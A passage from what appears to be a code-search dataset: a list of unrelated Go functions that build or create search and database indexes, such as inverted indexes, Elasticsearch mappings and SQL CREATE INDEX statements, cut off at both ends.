ForeignKeyExtractors[fromKind]\n\tif fkv == nil {\n\t\tfkv = make(map[string]ForeignKeyExtractor)\n\t\tForeignKeyExtractors[fromKind] = fkv\n\t}\n\tfkv[fromKindFieldName] = extractor\n}","func BuildIndex(nGram int, dictionary []string) *NGramIndex {\n\tindex := make(InvertedIndex)\n\n\tfor id, word := range dictionary {\n\t\tfor _, term := range SplitIntoNGrams(nGram, word) {\n\t\t\tif _, ok := index[term]; !ok {\n\t\t\t\tindex[term] = PostingList{}\n\t\t\t}\n\n\t\t\tindex[term] = append(index[term], uint32(id))\n\t\t}\n\t}\n\n\treturn &NGramIndex{\n\t\tnGram: nGram,\n\t\tindex: index,\n\t\tdictionary: dictionary,\n\t}\n}","func (i *Index) Create() error {\n\n\tdoc := mapping{Properties: map[string]mappingProperty{}}\n\tfor _, f := range i.md.Fields {\n\t\tdoc.Properties[f.Name] = mappingProperty{}\n\t\tfs, err := fieldTypeString(f.Type)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdoc.Properties[f.Name][\"type\"] = fs\n\t}\n\n // Added for apple to apple benchmark\n doc.Properties[\"body\"][\"type\"] = \"text\"\n doc.Properties[\"body\"][\"analyzer\"] = \"my_english_analyzer\"\n doc.Properties[\"body\"][\"search_analyzer\"] = \"whitespace\"\n doc.Properties[\"body\"][\"index_options\"] = \"offsets\"\n //doc.Properties[\"body\"][\"test\"] = \"test\"\n index_map := map[string]int{\n \"number_of_shards\" : 1,\n \"number_of_replicas\" : 0,\n }\n analyzer_map := map[string]interface{}{\n \"my_english_analyzer\": map[string]interface{}{\n \"tokenizer\": \"standard\",\n \"char_filter\": []string{ \"html_strip\" } ,\n \"filter\" : []string{\"english_possessive_stemmer\", \n \"lowercase\", \"english_stop\", \n \"english_stemmer\", \n \"asciifolding\", \"icu_folding\"},\n },\n }\n filter_map := map[string]interface{}{\n \"english_stop\": map[string]interface{}{\n \"type\": \"stop\",\n \"stopwords\": \"_english_\",\n },\n \"english_possessive_stemmer\": map[string]interface{}{\n \"type\": \"stemmer\",\n \"language\": \"possessive_english\",\n },\n \"english_stemmer\" : map[string]interface{}{\n \"type\" : \"stemmer\",\n \"name\" : \"english\",\n },\n \"my_folding\": map[string]interface{}{\n \"type\": \"asciifolding\",\n \"preserve_original\": \"false\",\n },\n }\n analysis_map := map[string]interface{}{\n \"analyzer\": analyzer_map,\n \"filter\" : filter_map,\n }\n settings := map[string]interface{}{\n \"index\": index_map,\n \"analysis\": analysis_map,\n }\n\n // TODO delete?\n\t// we currently manually create the autocomplete mapping\n\t/*ac := mapping{\n\t\tProperties: map[string]mappingProperty{\n\t\t\t\"sugg\": mappingProperty{\n\t\t\t\t\"type\": \"completion\",\n\t\t\t\t\"payloads\": true,\n\t\t\t},\n\t\t},\n\t}*/\n\n\tmappings := map[string]mapping{\n\t\ti.typ: doc,\n //\t\"autocomplete\": ac,\n\t}\n\n fmt.Println(mappings)\n\n\t//_, err := i.conn.CreateIndex(i.name).BodyJson(map[string]interface{}{\"mappings\": mappings}).Do()\n\t_, err := i.conn.CreateIndex(i.name).BodyJson(map[string]interface{}{\"mappings\": mappings, \"settings\": settings}).Do()\n\n if err != nil {\n fmt.Println(\"Error \", err)\n\t\tfmt.Println(\"!!!!Get Error when using client to create index\")\n\t}\n\n\treturn err\n}","func CreateNewIndex(rawItems PointArray, dim, nTree, k int, m Metric) (Index, error) {\n\t// verify that given items have same dimension\n\tl := rawItems.Len()\n\tif l < 2 {\n\t\treturn nil, errNotEnoughItems\n\t}\n\tits := make([]*item, l)\n\t//idToItem := make(map[itemId]*item, l)\n\tfor i:=0; i < l; i++{\n\t\tv := rawItems.At(i)\n\t\tif v.Dimension() != dim {\n\t\t\treturn nil, errDimensionMismatch\n\t\t}\n\t\tit := &item{\n\t\t\tid: itemId(i),\n\t\t\tvector: v,\n\t\t}\n\t\tits[i] = it\n\t\t//idToItem[it.id] = it\n\t}\n\tidx := &index{\n\t\tmetric: m,\n\t\tdim: dim,\n\t\tk: k,\n\t\titemIDToItem: rawItems,\n\t\troots: make([]*node, nTree),\n\t\tnodeIDToNode: map[nodeId]*node{},\n\t\tmux: &sync.Mutex{},\n\t}\n\n\t// build\n\tidx.build(its, nTree)\n\treturn idx, nil\n}","func NewIndex(root string) *Index {\n\tvar x Indexer;\n\n\t// initialize Indexer\n\tx.words = make(map[string]*IndexResult);\n\n\t// collect all Spots\n\tpathutil.Walk(root, &x, nil);\n\n\t// for each word, reduce the RunLists into a LookupResult;\n\t// also collect the word with its canonical spelling in a\n\t// word list for later computation of alternative spellings\n\twords := make(map[string]*LookupResult);\n\tvar wlist RunList;\n\tfor w, h := range x.words {\n\t\tdecls := reduce(&h.Decls);\n\t\tothers := reduce(&h.Others);\n\t\twords[w] = &LookupResult{\n\t\t\tDecls: decls,\n\t\t\tOthers: others,\n\t\t};\n\t\twlist.Push(&wordPair{canonical(w), w});\n\t}\n\n\t// reduce the word list {canonical(w), w} into\n\t// a list of AltWords runs {canonical(w), {w}}\n\talist := wlist.reduce(lessWordPair, newAltWords);\n\n\t// convert alist into a map of alternative spellings\n\talts := make(map[string]*AltWords);\n\tfor i := 0; i < alist.Len(); i++ {\n\t\ta := alist.At(i).(*AltWords);\n\t\talts[a.Canon] = a;\n\t}\n\n\t// convert snippet vector into a list\n\tsnippets := make([]*Snippet, x.snippets.Len());\n\tfor i := 0; i < x.snippets.Len(); i++ {\n\t\tsnippets[i] = x.snippets.At(i).(*Snippet)\n\t}\n\n\treturn &Index{words, alts, snippets, x.nspots};\n}","func CreateInvertedIndex() *InvertedIndex {\n\tinvertedIndex := &InvertedIndex{\n\t\tHashMap: make(map[uint64]*InvertedIndexEntry),\n\t\tItems: []*InvertedIndexEntry{},\n\t}\n\treturn invertedIndex\n}","func GenNaiveSearchIndex(item models.Item) string {\n\twords := make(map[string]struct{})\n\n\t// Extract name.\n\tfor _, v := range extractWords(item.Name) {\n\t\twords[v] = struct{}{}\n\t}\n\n\t// Extract type of item.\n\tfor _, v := range extractWords(item.Type) {\n\t\twords[v] = struct{}{}\n\t}\n\n\t// Extract properties.\n\tfor _, mod := range item.ExplicitMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.ImplicitMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.UtilityMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.EnchantMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.CraftedMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\n\t// Construct final string with sorted keywords.\n\tkeys := make([]string, 0, len(words))\n\tfor key := range words {\n\t\tkeys = append(keys, key)\n\t}\n\tsort.Strings(keys)\n\treturn strings.Join(keys, \" \")\n}","func New(docs []string) *Index {\n\tm := make(map[string]map[int]bool)\n\n\tfor i := 0; i < len(docs); i++ {\n\t\twords := strings.Fields(docs[i])\n\t\tfor j := 0; j < len(words); j++ {\n\t\t\tif m[words[j]] == nil {\n\t\t\t\tm[words[j]] = make(map[int]bool)\n\t\t\t}\n\t\t\tm[words[j]][i+1] = true\n\t\t}\n\t}\n\treturn &(Index{m})\n}","func GenerateInvertedIndex(fpMaps []map[uint64]int) InvertedIndex {\n\n\t// Create an empty inverted index\n\tinvertedIndex := CreateInvertedIndex()\n\n\t// Using the generated hash maps add\n\t// each word to the inverted index\n\tfor index, fpMap := range fpMaps {\n\t\tfor fp := range fpMap {\n\t\t\tinvertedIndex.AddItem(fp, index)\n\t\t}\n\t}\n\treturn *invertedIndex\n}","func CopyToTargetIndex(targetIndex string) ReindexerFunc {\n\treturn func(hit *SearchHit, bulkService *BulkService) error {\n\t\t// TODO(oe) Do we need to deserialize here?\n\t\tsource := make(map[string]interface{})\n\t\tif err := json.Unmarshal(*hit.Source, &source); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treq := NewBulkIndexRequest().Index(targetIndex).Type(hit.Type).Id(hit.Id).Doc(source)\n\t\tif hit.Parent != \"\" {\n\t\t\treq = req.Parent(hit.Parent)\n\t\t}\n\t\tif hit.Routing != \"\" {\n\t\t\treq = req.Routing(hit.Routing)\n\t\t}\n\t\tbulkService.Add(req)\n\t\treturn nil\n\t}\n}","func NewIndexed() *Indexed {\n\trand.Seed(time.Now().UTC().UnixNano())\n\treturn &Indexed{\n\t\tsize: 0,\n\t}\n}","func (c *index) Create(sctx sessionctx.Context, rm kv.RetrieverMutator, indexedValues []types.Datum, h int64, opts ...table.CreateIdxOptFunc) (int64, error) {\n\tvar opt table.CreateIdxOpt\n\tfor _, fn := range opts {\n\t\tfn(&opt)\n\t}\n\tss := opt.AssertionProto\n\twriteBufs := sctx.GetSessionVars().GetWriteStmtBufs()\n\tskipCheck := sctx.GetSessionVars().LightningMode || sctx.GetSessionVars().StmtCtx.BatchCheck\n\tkey, distinct, err := c.GenIndexKey(sctx.GetSessionVars().StmtCtx, indexedValues, h, writeBufs.IndexKeyBuf)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tctx := opt.Ctx\n\tif opt.Untouched {\n\t\ttxn, err1 := sctx.Txn(true)\n\t\tif err1 != nil {\n\t\t\treturn 0, err1\n\t\t}\n\t\t// If the index kv was untouched(unchanged), and the key/value already exists in mem-buffer,\n\t\t// should not overwrite the key with un-commit flag.\n\t\t// So if the key exists, just do nothing and return.\n\t\t_, err = txn.GetMemBuffer().Get(ctx, key)\n\t\tif err == nil {\n\t\t\treturn 0, nil\n\t\t}\n\t}\n\n\t// save the key buffer to reuse.\n\twriteBufs.IndexKeyBuf = key\n\tif !distinct {\n\t\t// non-unique index doesn't need store value, write a '0' to reduce space\n\t\tvalue := []byte{'0'}\n\t\tif opt.Untouched {\n\t\t\tvalue[0] = kv.UnCommitIndexKVFlag\n\t\t}\n\t\terr = rm.Set(key, value)\n\t\tif ss != nil {\n\t\t\tss.SetAssertion(key, kv.None)\n\t\t}\n\t\treturn 0, err\n\t}\n\n\tif skipCheck {\n\t\tvalue := EncodeHandle(h)\n\t\tif opt.Untouched {\n\t\t\tvalue = append(value, kv.UnCommitIndexKVFlag)\n\t\t}\n\t\terr = rm.Set(key, value)\n\t\tif ss != nil {\n\t\t\tss.SetAssertion(key, kv.None)\n\t\t}\n\t\treturn 0, err\n\t}\n\n\tif ctx != nil {\n\t\tif span := opentracing.SpanFromContext(ctx); span != nil && span.Tracer() != nil {\n\t\t\tspan1 := span.Tracer().StartSpan(\"index.Create\", opentracing.ChildOf(span.Context()))\n\t\t\tdefer span1.Finish()\n\t\t\tctx = opentracing.ContextWithSpan(ctx, span1)\n\t\t}\n\t} else {\n\t\tctx = context.TODO()\n\t}\n\n\tvar value []byte\n\tvalue, err = rm.Get(ctx, key)\n\t// If (opt.Untouched && err == nil) is true, means the key is exists and exists in TiKV, not in txn mem-buffer,\n\t// then should also write the untouched index key/value to mem-buffer to make sure the data\n\t// is consistent with the index in txn mem-buffer.\n\tif kv.IsErrNotFound(err) || (opt.Untouched && err == nil) {\n\t\tv := EncodeHandle(h)\n\t\tif opt.Untouched {\n\t\t\tv = append(v, kv.UnCommitIndexKVFlag)\n\t\t}\n\t\terr = rm.Set(key, v)\n\t\tif ss != nil {\n\t\t\tss.SetAssertion(key, kv.NotExist)\n\t\t}\n\t\treturn 0, err\n\t}\n\n\thandle, err := DecodeHandle(value)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn handle, kv.ErrKeyExists\n}","func NewAutoincrementIndex(o ...option.Option) index.Index {\n\topts := &option.Options{}\n\tfor _, opt := range o {\n\t\topt(opts)\n\t}\n\n\tu := &Autoincrement{\n\t\tindexBy: opts.IndexBy,\n\t\ttypeName: opts.TypeName,\n\t\tfilesDir: opts.FilesDir,\n\t\tbound: opts.Bound,\n\t\tindexBaseDir: path.Join(opts.DataDir, \"index.cs3\"),\n\t\tindexRootDir: path.Join(path.Join(opts.DataDir, \"index.cs3\"), strings.Join([]string{\"autoincrement\", opts.TypeName, opts.IndexBy}, \".\")),\n\t\tcs3conf: &Config{\n\t\t\tProviderAddr: opts.ProviderAddr,\n\t\t\tDataURL: opts.DataURL,\n\t\t\tDataPrefix: opts.DataPrefix,\n\t\t\tJWTSecret: opts.JWTSecret,\n\t\t\tServiceUser: opts.ServiceUser,\n\t\t},\n\t\tdataProvider: dataProviderClient{\n\t\t\tbaseURL: singleJoiningSlash(opts.DataURL, opts.DataPrefix),\n\t\t\tclient: http.Client{\n\t\t\t\tTransport: http.DefaultTransport,\n\t\t\t},\n\t\t},\n\t}\n\n\treturn u\n}","func TestEngine_WriteIndex_NoKeys(t *testing.T) {\n\te := OpenDefaultEngine()\n\tdefer e.Close()\n\tif err := e.WriteIndex(nil, nil, nil); err != nil {\n\t\tt.Fatal(err)\n\t}\n}","func buildIndexWithWalk(dir string) {\n\t//fmt.Println(len(documents))\n\tfilepath.Walk(dir, func(path string, f os.FileInfo, err error) error {\n\t\tif (err != nil) {\n\t\t\tfmt.Fprintln(os.Stdout, err)\n\t\t}\n\t\tdocuments = append(documents, path)\n\t\treturn nil\n\t});\n}","func BuildInvertedIndex() (map[string]*InvertedIndexEntry, error) {\n\tfileName := \"db.jsonl\"\n\n\tdata, err := ioutil.ReadFile(fileName)\n\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"buildIndex:read %v\\n\", err)\n\t\treturn nil, err\n\t}\n\n\tvar invertedIndex = make(map[string]*InvertedIndexEntry)\n\n\tfor _, line := range strings.Split(string(data), \"\\n\") {\n\t\t// line is a document\n\t\t// go over `safe_title` and `transcript`,\n\t\t// lower case, split at whitespace,\n\t\t// for each string entry, add to invertedIndex\n\t\t// profit\n\t\tcomicLine := Comic{}\n\t\terr := json.Unmarshal([]byte(line), &comicLine)\n\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(os.Stderr, \"buildIndex:marshal %v\\n\", err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// todo: account for searchterms being substrings of fields\n\t\ttitleFields := strings.Fields(comicLine.SafeTitle)\n\t\ttranscriptFields := strings.Fields(comicLine.Transcript)\n\n\t\tcombinedList := append(titleFields, transcriptFields...)\n\n\t\tfor _, value := range combinedList {\n\t\t\tsearchValue := strings.ToLower(value)\n\t\t\texistingEntry := invertedIndex[searchValue]\n\n\t\t\tif existingEntry == nil {\n\t\t\t\tentry := InvertedIndexEntry{}\n\t\t\t\tentry.SearchTerm = searchValue\n\t\t\t\tentry.Comics = make(map[int]Comic)\n\t\t\t\tentry.Comics[comicLine.Num] = comicLine\n\t\t\t\tentry.Frequency = 1\n\t\t\t\tinvertedIndex[searchValue] = &entry\n\t\t\t} else {\n\t\t\t\texistingEntry.Frequency++\n\t\t\t\texistingEntry.Comics[comicLine.Num] = comicLine\n\t\t\t}\n\t\t}\n\t}\n\n\treturn invertedIndex, nil\n}","func (cc *TicketsChaincode) createIndex(stub shim.ChaincodeStubInterface, indexName string, attributes []string) error {\n\tfmt.Println(\"- start create index\")\n\tvar err error\n\n\tindexKey, err := stub.CreateCompositeKey(indexName, attributes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvalue := []byte{0x00}\n\tstub.PutState(indexKey, value)\n\n\tfmt.Println(\"created index\")\n\treturn nil\n}","func NewLogIndex() indices.Index { return &logIndex{} }","func BuildIndex(dir string){\n\tconfig := Config()\n\tbuilder := makeIndexBuilder(config)\n\tbuilder.Build(\"/\")\n\tsort.Strings(documents)\n\tsave(documents, config)\n}","func (s *BasePlSqlParserListener) ExitCreate_index(ctx *Create_indexContext) {}","func NewIndexedFile(fileName string) (*File, error) {\n\tfile := &File{Name: fileName}\n\tmeta, err := createMetadata(fileName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfile.meta = meta\n\tif err = file.meta.evaluateForFile(); err != nil {\n\t\treturn nil, err\n\t}\n\tfile.status = INDEXED\n\treturn file, nil\n}","func NewElasticsearchTarget(id string, args ElasticsearchArgs, doneCh <-chan struct{}, loggerOnce func(ctx context.Context, err error, id interface{}, kind ...interface{}), test bool) (*ElasticsearchTarget, error) {\n\ttarget := &ElasticsearchTarget{\n\t\tid: event.TargetID{ID: id, Name: \"elasticsearch\"},\n\t\targs: args,\n\t\tloggerOnce: loggerOnce,\n\t}\n\n\tif args.QueueDir != \"\" {\n\t\tqueueDir := filepath.Join(args.QueueDir, storePrefix+\"-elasticsearch-\"+id)\n\t\ttarget.store = NewQueueStore(queueDir, args.QueueLimit)\n\t\tif err := target.store.Open(); err != nil {\n\t\t\ttarget.loggerOnce(context.Background(), err, target.ID())\n\t\t\treturn target, err\n\t\t}\n\t}\n\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\n\terr := target.checkAndInitClient(ctx)\n\tif err != nil {\n\t\tif target.store == nil || err != errNotConnected {\n\t\t\ttarget.loggerOnce(context.Background(), err, target.ID())\n\t\t\treturn target, err\n\t\t}\n\t}\n\n\tif target.store != nil && !test {\n\t\t// Replays the events from the store.\n\t\teventKeyCh := replayEvents(target.store, doneCh, target.loggerOnce, target.ID())\n\t\t// Start replaying events from the store.\n\t\tgo sendEvents(target, eventKeyCh, doneCh, target.loggerOnce)\n\t}\n\n\treturn target, nil\n}","func NewCorpus(filename string) (*Writer, error) {\n\tname := root(filename)\n\n\tfp, err := os.Create(name + \".index\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trdr, wtr := io.Pipe()\n\n\tret := make(chan error, 1)\n\n\tgo func() {\n\t\terr := write(rdr, name+\".data.dz\", 9)\n\t\tret <- err\n\t}()\n\n\tw := &Writer{\n\t\tidx: fp,\n\t\tdz: wtr,\n\t\tchRet: ret,\n\t\topened: true,\n\t}\n\treturn w, nil\n}","func (al *AccessLayer) CreateIndices(temp bool) error {\n\n\tidxMap := map[string][]string{\n\t\tstopsTable: []string{\"stop_name\"},\n\t\tstopTimesTable: []string{\"trip_id\", \"arrival_time\"},\n\t\ttripsTable: []string{\"trip_id\", \"service_id\"},\n\t}\n\tfor t, indices := range idxMap {\n\t\tfor _, c := range indices {\n\t\t\tt := getTableName(t, temp)\n\t\t\ti := fmt.Sprintf(\"idx_%s\", c)\n\t\t\tif al.indexExists(t, i) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tq := fmt.Sprintf(\"CREATE INDEX %s ON %s(%s)\", i, t, c)\n\t\t\t_, err := al.AL.Exec(q)\n\t\t\tif err != nil {\n\t\t\t\tal.logger.Errorf(\"Error creating index %s against %s\", i, t)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tal.logger.Infof(\"Created index %s against %s\", i, t)\n\t\t}\n\t}\n\n\treturn nil\n}","func TestIndex(t *testing.T) {\n\tdefer os.RemoveAll(\"testidx\")\n\n\tindex, err := New(\"testidx\", mapping)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer index.Close()\n\n\t// index all the people\n\tfor _, person := range people {\n\t\terr = index.Index(person.Identifier, person)\n\t\tif err != nil {\n\t\t\tt.Error(err)\n\t\t}\n\t}\n\n\ttermQuery := NewTermQuery(\"marti\").SetField(\"name\")\n\tsearchRequest := NewSearchRequest(termQuery)\n\tsearchResult, err := index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(1) {\n\t\tt.Errorf(\"expected 1 total hit for term query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"a\" {\n\t\t\tt.Errorf(\"expected top hit id 'a', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t}\n\n\ttermQuery = NewTermQuery(\"noone\").SetField(\"name\")\n\tsearchRequest = NewSearchRequest(termQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(0) {\n\t\tt.Errorf(\"expected 0 total hits\")\n\t}\n\n\tmatchPhraseQuery := NewMatchPhraseQuery(\"long name\")\n\tsearchRequest = NewSearchRequest(matchPhraseQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(1) {\n\t\tt.Errorf(\"expected 1 total hit for phrase query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"b\" {\n\t\t\tt.Errorf(\"expected top hit id 'b', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t}\n\n\ttermQuery = NewTermQuery(\"walking\").SetField(\"name\")\n\tsearchRequest = NewSearchRequest(termQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(0) {\n\t\tt.Errorf(\"expected 0 total hits\")\n\t}\n\n\tmatchQuery := NewMatchQuery(\"walking\").SetField(\"name\")\n\tsearchRequest = NewSearchRequest(matchQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(1) {\n\t\tt.Errorf(\"expected 1 total hit for match query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"c\" {\n\t\t\tt.Errorf(\"expected top hit id 'c', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t}\n\n\tprefixQuery := NewPrefixQuery(\"bobble\").SetField(\"name\")\n\tsearchRequest = NewSearchRequest(prefixQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(1) {\n\t\tt.Errorf(\"expected 1 total hit for prefix query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"d\" {\n\t\t\tt.Errorf(\"expected top hit id 'd', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t}\n\n\tsyntaxQuery := NewSyntaxQuery(\"+name:phone\")\n\tsearchRequest = NewSearchRequest(syntaxQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(1) {\n\t\tt.Errorf(\"expected 1 total hit for syntax query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"d\" {\n\t\t\tt.Errorf(\"expected top hit id 'd', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t}\n\n\tmaxAge := 30.0\n\tnumericRangeQuery := NewNumericRangeQuery(nil, &maxAge).SetField(\"age\")\n\tsearchRequest = NewSearchRequest(numericRangeQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(2) {\n\t\tt.Errorf(\"expected 2 total hits for numeric range query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"b\" {\n\t\t\tt.Errorf(\"expected top hit id 'b', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t\tif searchResult.Hits[1].ID != \"a\" {\n\t\t\tt.Errorf(\"expected next hit id 'a', got '%s'\", searchResult.Hits[1].ID)\n\t\t}\n\t}\n\n\tstartDate = \"2010-01-01\"\n\tdateRangeQuery := NewDateRangeQuery(&startDate, nil).SetField(\"birthday\")\n\tsearchRequest = NewSearchRequest(dateRangeQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(2) {\n\t\tt.Errorf(\"expected 2 total hits for numeric range query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"d\" {\n\t\t\tt.Errorf(\"expected top hit id 'd', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t\tif searchResult.Hits[1].ID != \"c\" {\n\t\t\tt.Errorf(\"expected next hit id 'c', got '%s'\", searchResult.Hits[1].ID)\n\t\t}\n\t}\n\n\t// test that 0 time doesn't get indexed\n\tendDate = \"2010-01-01\"\n\tdateRangeQuery = NewDateRangeQuery(nil, &endDate).SetField(\"birthday\")\n\tsearchRequest = NewSearchRequest(dateRangeQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(1) {\n\t\tt.Errorf(\"expected 1 total hit for numeric range query, got %d\", searchResult.Total)\n\t} else {\n\t\tif searchResult.Hits[0].ID != \"b\" {\n\t\t\tt.Errorf(\"expected top hit id 'b', got '%s'\", searchResult.Hits[0].ID)\n\t\t}\n\t}\n\n\t// test behavior of arrays\n\t// make sure we can successfully find by all elements in array\n\ttermQuery = NewTermQuery(\"gopher\").SetField(\"tags\")\n\tsearchRequest = NewSearchRequest(termQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t} else {\n\t\tif searchResult.Total != uint64(1) {\n\t\t\tt.Errorf(\"expected 1 total hit for term query, got %d\", searchResult.Total)\n\t\t} else {\n\t\t\tif searchResult.Hits[0].ID != \"a\" {\n\t\t\t\tt.Errorf(\"expected top hit id 'a', got '%s'\", searchResult.Hits[0].ID)\n\t\t\t}\n\t\t}\n\t}\n\n\ttermQuery = NewTermQuery(\"belieber\").SetField(\"tags\")\n\tsearchRequest = NewSearchRequest(termQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t} else {\n\t\tif searchResult.Total != uint64(1) {\n\t\t\tt.Errorf(\"expected 1 total hit for term query, got %d\", searchResult.Total)\n\t\t} else {\n\t\t\tif searchResult.Hits[0].ID != \"a\" {\n\t\t\t\tt.Errorf(\"expected top hit id 'a', got '%s'\", searchResult.Hits[0].ID)\n\t\t\t}\n\t\t}\n\t}\n\n\ttermQuery = NewTermQuery(\"notintagsarray\").SetField(\"tags\")\n\tsearchRequest = NewSearchRequest(termQuery)\n\tsearchResult, err = index.Search(searchRequest)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tif searchResult.Total != uint64(0) {\n\t\tt.Errorf(\"expected 0 total hits\")\n\t}\n\n\t// lookup document a\n\t// expect to find 2 values for field \"tags\"\n\ttagsCount := 0\n\tdoc, err := index.Document(\"a\")\n\tif err != nil {\n\t\tt.Error(err)\n\t} else {\n\t\tfor _, f := range doc.Fields {\n\t\t\tif f.Name() == \"tags\" {\n\t\t\t\ttagsCount++\n\t\t\t}\n\t\t}\n\t}\n\tif tagsCount != 2 {\n\t\tt.Errorf(\"expected to find 2 values for tags\")\n\t}\n}","func createIndexerNode(cinfo *common.ClusterInfoCache, nid common.NodeId) (*IndexerNode, error) {\n\n\thost, err := getIndexerHost(cinfo, nid)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsizing := newMOISizingMethod()\n\treturn newIndexerNode(host, sizing), nil\n}","func NewMsgCreateIndex(owner sdk.AccAddress, tableName string, field string) MsgCreateIndex {\n return MsgCreateIndex {\n Owner: owner,\n TableName: tableName,\n Field: field,\n }\n}","func MakeIndex() error {\n\n\treturn nil\n}","func New(pg *pg.DB, index Index) *Model {\n\tInitTokenize()\n\treturn &Model{\n\t\tPG: pg,\n\t\tIndex: index,\n\t\tFiles: make(map[string]int),\n\t\tWords: make(map[string]int),\n\t}\n}","func (s *Session) createTarget(header *ws.Header, frame io.Reader) (Target, error) {\n\tvar opBytes [indexBytesSize]byte\n\tif _, err := io.ReadFull(frame, opBytes[:]); err != nil {\n\t\treturn nil, err\n\t}\n\n\tws.Cipher(opBytes[:], header.Mask, 0)\n\theader.Mask = shiftCipher(header.Mask, indexBytesSize)\n\theader.Length -= indexBytesSize\n\tindex := int(binary.BigEndian.Uint16(opBytes[:]))\n\n\tif index == controlIndex {\n\t\treturn NewRPCTarget(s.readCopyBuffer, s), nil\n\t}\n\n\tcnx := s.GetConnection(index)\n\tif cnx == nil {\n\t\treturn nil, UnknownConnection\n\t}\n\n\treturn &ConnectionTarget{cnx}, nil\n}","func New(col *parser.Collection) *Indexer {\n\tindex := make(map[int]map[int]float64)\n\tidfDict := make(map[int]float64)\n\tvocDict := make(map[string]int)\n\tdocDict := make(map[int]*parser.Document)\n\tdocNormDict := make(map[int]float64)\n\treturn &Indexer{col, index, vocDict, idfDict, docDict, docNormDict}\n}","func New(dataset []float64) *LearnedIndex {\n\n\tst := search.NewSortedTable(dataset)\n\t// store.Flush(st)\n\n\tx, y := linear.Cdf(st.Keys)\n\tlen_ := len(dataset)\n\tm := linear.Fit(x, y)\n\tguesses := make([]int, len_)\n\tscaledY := make([]int, len_)\n\tmaxErr, minErr := 0, 0\n\tfor i, k := range x {\n\t\tguesses[i] = scale(m.Predict(k), len_)\n\t\tscaledY[i] = scale(y[i], len_)\n\t\tresidual := residual(guesses[i], scaledY[i])\n\t\tif residual > maxErr {\n\t\t\tmaxErr = residual\n\t\t} else if residual < minErr {\n\t\t\tminErr = residual\n\t\t}\n\t}\n\treturn &LearnedIndex{M: m, Len: len_, ST: st, MinErrBound: minErr, MaxErrBound: maxErr}\n}","func (r *Results) Create(item *TestDocument) error {\n\tpayload, err := json.Marshal(item)\n\tif err != nil {\n\t\treturn err\n\t}\n\tctx := context.Background()\n\tres, err := esapi.IndexRequest{\n\t\tIndex: r.indexName,\n\t\tBody: bytes.NewReader(payload),\n\t}.Do(ctx, r.es)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer res.Body.Close()\n\n\tif res.IsError() {\n\t\tvar e map[string]interface{}\n\t\tif err := 